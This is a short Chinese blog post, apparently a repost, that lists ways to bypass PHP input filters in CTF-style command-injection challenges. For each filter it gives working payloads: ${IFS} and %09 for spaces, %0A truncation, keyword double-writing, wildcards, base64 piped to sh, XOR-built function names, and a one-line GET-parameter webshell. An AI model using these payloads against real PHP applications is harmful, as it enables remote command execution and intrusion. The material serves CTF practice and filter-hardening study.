PHP check 的一些绕过技术
绕过空格
$_GET[str]=str_replace(" ","",$_GET[str]);
-
${IFS}
但不能写作 $IFS -
$IFS$9
-
%09
绕过echo拼接
system("echo \"$_GET[str]\";");
-
执行命令加上反引号
`cat /flag`
-
双引号闭合 与 | 分割(或
&后台
&&判读
在URL中均要进行URL编码)
绕过符号
$_GET[str]=str_replace(array( "", "$", "(", ")", ";","&","|","<"),"",$_GET[str]);
- %0A 截断
111"%0Acat %2fflag"
绕过关键词替换
$str=str_replace("flag","",$_GET[str]);
- 双写绕过
flflagag
绕过正则
preg_match("/flag/i",$str)
-
反斜杠换行
ca\t fla\g
-
模糊匹配(通配符) cat /fla? cat /fl*
-
base64 echo Y2F0IC9mbGFn|base64 -d|sh (Y2F0IC9mbGFn = cat /flag ,不能用)
-
变量拼接
$a=%2ffl;$b=ag;cat $a$b;
绕过可见字符
if(preg_match("/[A-Za-z0-9_]+/",$code)) {die("NO.");} @eval($code);
-
构造 getFlag 的异或字符串
code=$_="%40%3e%2b%3b%2c%3c%3a"^"%27%5b%5f%7d%40%5d%5d";$_();
-
注入一句话
${_GET}[_](${_GET}[__])
-
如果下划线
_
被禁用,使用大于等于 %7F 的字符 - 取反绕过
[ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com